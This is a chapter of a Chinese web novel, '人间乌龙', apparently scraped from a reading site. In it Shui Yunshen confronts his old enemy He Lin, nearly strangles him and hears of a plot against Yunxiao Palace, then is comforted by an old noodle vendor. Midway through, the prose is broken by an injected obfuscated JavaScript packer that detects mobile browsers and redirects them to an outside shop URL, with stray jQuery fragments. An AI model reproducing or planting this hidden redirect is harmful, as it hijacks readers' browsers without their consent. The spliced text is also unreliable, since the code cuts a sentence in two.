59. 第五十六章 阴魂不散
作品:《人间乌龙》 熟悉的声音配上熟悉的称呼,一股凉意从水云身脚底猛地窜起,浑身颤-栗间,他竟连转身的勇气都没有。
他像被施了定身咒一样动弹不得,听着身后的脚步声渐近,逃跑的心思占据了他整个大脑。
躲是躲不过的,很多年前他就知道了。
于是他攥紧拳头,等着那人慢慢走入自己视线,最后停在离自己两步远的地方。
“居然是你……你居然还活着……”水云身下颌紧绷,说话间,他已经听见了自己牙齿撞击在一起的声音。
见到水云身咬牙切齿的样子,那人没有半点紧张,反而挑了挑眉毛,欣赏般地端详着水云身的表情,而后双手合十随意拜了拜,语气里满是炫耀地开口。
“当然了,心若向善,福报自来。”
“哈?!”
一瞬间他对自己产生怀疑。
是认错人了,还是听错了?
向善、福报和眼前人有半点联系吗?
水云身头皮一阵发麻,脸上肌肉也不受控制地抽-动起来。
“干嘛这样看着我?你想我死,是你的恶业,你会有恶报的。我大难不死而且日子丰衣足食,是我的善报,是你如何也得不到的。”
水云身感觉自己大脑现在是一团浆糊,完全无法思考,但他能清楚感觉到自己心脏异常的跳动,他马上就要失控了。
“今天见到你的时候我都没认出来呢,还以为是梭花……啊……”
剩下的话连同他的脖子都被水云身紧紧掐住。
拇指和中指正好卡住他的下颌,虎口处能清晰感觉到他的心跳,他的喉结也在掌心里上下滑动……
右手的力道越来越重,见到手中人面部充血,眼球突出,嘴巴大张,左手也不自觉地覆了上来。
嘴唇染上紫色,充血的眼睛慢慢变得灰扑扑的,水云身像是被烫到一样,突然松开手,人便软绵绵地倒在地上,咳嗽着大口喘气。
水云身连退好几步,双腿发软,感觉脚下踩的已经不再是泥地,而是一片沼泽。
“你……你为什么不反抗?”
“哈哈哈哈哈哈哈哈哈……”那人因为刚刚的窒息,喉咙变得嘶哑,但笑声十分猖狂,直到压制不住咳嗽才停下来。
他一手撑地,一手捂着脖子,双目赤红地看向水云身,“你不敢杀我,我说过了,你还是那么胆小。”
水云身无法反驳,躲开他的视线,咽了口唾沫,气势也弱了下来,“我刚才真的会杀了你……”
“哈哈哈哈哈哈……”
“哎呀……”像是叹了口气,他双手反撑着地,整个人往后仰,脑袋无力地向后垂去,露出脆弱的脖颈,脖颈上还带着鲜艳的红色指痕。水云身知道,要不了多久,那痕迹就会变成可怖的青紫色。
“小鲤鱼,就你还杀人呢?这么多年,你沾过荤腥吗?”
“……你找我,到底要干嘛?”水云身浑身脱力,只想快点结束这场谈话,快点离开这个人身边。
听到水云身的问题,那人来了兴致,立马坐直了身体,“当然是要带你走啊!”
“带我走?”水云身慢慢抬起头,看到他没有头纱遮盖的,光秃秃的脑袋,冷笑一声,“带我去哪儿,去安国寺和你一样做个秃驴吗?”
他听到水云身的挖苦也不恼,抬手摸了摸脑袋,嘿嘿一笑,“没有头发怎么了?你做鱼的时候有头发吗?反正我做鱼的时候没有。”
“何鳞,你有病。”水云身面无表情地开口。
何鳞脸上的笑滞了一瞬,也只有一瞬,然后他又笑了起来,朝着水云身的方向爬去。
水云身只冷眼看着他的靠近,脑子里幻想着杀死何鳞的一百种方式。
靠的近,何鳞眼里的癫狂毫不掩饰地从水云身眼中投射出来。
“小鲤鱼,我不怪你的,以前的事我都原谅你了!真的,虽然你妹妹差点把我杀了,你也放任我自生自灭,但是那些伤都好了,我现在也不疼了!”
“你跟我走吧,你不喜欢安国寺,我们就不回去,随便找条河,找片海,我们就自由了!”
水云身不为所动,鼻子里发出冷哼,“何鳞,你真是病得不轻,我用你原谅?梭花没将你一击杀死,是她太善良,我会让她改的。”
何鳞跪坐在自己的腿上,双手搭在自己的膝盖上,动作乖巧,表情也乖巧,只是说出的话实在恶劣。
“云霄宫的人马上就要死绝了,我真的不想你和这些人族死在一起。”
“你说什么?”
何鳞好像根本听不见水云身的话一样,还沉浸在自己幻想的未来中,“如果你放不下你妹妹,我们也可以生活在北边,找一个离丹曦山近的地方,你可以时不时……”
巴掌声代替了水云身的回应。
“你别在这儿做梦了,你们要对云霄宫做什么?”水云身一脸嫌恶地将碰过何鳞脸的手在衣摆上蹭了蹭。
何鳞捂着脸维持了一会儿歪倒的姿势,而后一脸委屈地看向水云身,和毫不退让的水云身对视了半天才认真说道,“我只能救你一个,如果你跟我走,我就告诉你。”
水云身无奈长叹,然后猛地推了一把何鳞的肩膀。
何鳞毫无防备地被推-倒在地,也没着急起来,就这样仰躺着看着高高在上的水云身。
水云身站在何鳞腿边,见他非但没有起身的意思,反而还将双手交叠,放在脑后枕着,一派闲适。
这惬意的样子深深刺痛了水云身,让他恨不得吐口唾沫在他脸上。
于是他走到何鳞脑袋旁,用鞋底狠狠踩住何鳞衣袍上的纱帽,如果可以,他更想踩在何鳞这张讨人厌的脸上。
水云身抬起头,几次深呼吸后才开口,“我与云霄宫同生共死,不,云霄宫将万古长存。反倒是你们,恶贯满盈,必将不得好死,遗臭万年。”
何鳞躺在地上,阳光从竹叶间隙中掉落在他脸上,他眯起眼睛只能看见水云身下巴一动一动的。
水云身终于低下头去看何鳞,何鳞也顾不得阳光,努力将眼睛睁大些。
“不管你们有什么阴谋诡计,都不会得逞,而你,何鳞,你将是死的最惨的那个!”
水云身抬脚离开,何鳞才坐起身,冲着他的背影大喊道,“哎!你收拾行李要多久啊,我们哪天离开啊?”
水
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152220|188055||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
云身气得攥起拳头,嘴里嘀嘀咕咕地说着骂人的话,但坚持脚步不停地往外走,只留给何鳞一个决绝的背影。
水云身一从林子出来,就完全迷失方向了,但怕何鳞追上来,他也不敢停留,随便找了一条路就闷头走,拐了好几个弯,穿过好几条巷子,他才停下,靠着墙边喘气。
感觉心跳渐渐平稳下来,他才站直身体,抬头望天,语气里满是无奈,“老天爷啊,怎么就碰着这么个阴魂不散的衰鱼啊?”
他闭上眼睛垂下头,又安慰自己好一会儿,才准备回宫门。
他走到巷子边的面摊,和摊主打听路,“老伯,你知道去云霄宫的路怎么走吗?”
“云霄宫?”
老伯抬起头来打量水云身,水云身也露出一个无害的笑容,只是他在竹林地上染了一身脏污,整个人都有些狼狈。
“受欺负了?”
“啊?”水云身低头看了看自己染了泥的白袍,有些不好意思,“也不算吧……”
“受欺负了找云霄宫也没用,还不如去安国寺。”
老伯说着从锅里挑起面条盛入碗中,“来吧,孩子,还没吃饭吧,先来吃碗面。”
水云身跟着老伯坐到一张空桌上,呆呆地看着眼前的面,不知是该在这吃面,还是该回宫门找陶陶一起吃饭。脑袋转不过来弯,他接筷子的动作也有些迟疑。
老伯以为他是受了欺负,还在害怕,便坐到他身侧的矮凳上。
“孩子,别害怕,没有谁是一路顺遂的,年少时受点欺负也算是一种经历。如果你觉得承受不住,就去安国寺,那儿的主持是观音托世,他会帮你的。”
水云身挑面的动作停在半空,一脸疑惑地发问,“那为什么找云霄宫没用啊?”
“哼!”老伯似乎对云霄宫有很多不满,“云霄宫是专为大人物办事的,哪里能想着我们这些普通百姓?”
水云身没有了吃面的心思,将筷子规规矩矩地摆在面碗上,“为什么这样说呢?据我所知,云霄宫出钱资助书院,让百姓得观群书,让修士们教孩子们武艺,还会定期开放救济,让贫苦百姓也能吃上大米白面,就连过冬的柴火,云霄宫也是会分发的,你为什么要这样说呢?”
没想到能得到他如此具体的反驳,老伯怔愣一会儿,才再次开口,“你说的都是哪年的事了,反正现在的云霄宫什么也做不了,只能和稀泥!”
水云身的心沉得很低,看着眼前热气腾腾的面,再没半点食欲,他从怀里掏出几枚铜钱放在桌子上。
“诶孩子,不要钱,这碗面是我请你吃的。”
老伯将铜钱强硬地塞回水云身手中,“受了委屈,就得吃点热乎的暖暖身子,吃点面条顺一顺,往后的日子就顺了。”
水云身错愕地看着那双包着自己手的大手,褶皱的,干瘪的,带着裂纹的手;有力的,温暖的,饱经沧桑的手。
老伯拍了拍水云身的手,声音里都透着风霜,“吃吧孩子,吃完了今天也算圆满了,回家好好睡一觉,明天又是新的一天。”
说完,他便站起身,又回到了那口大锅前面。
半晌,水云身才再次拿起筷子。

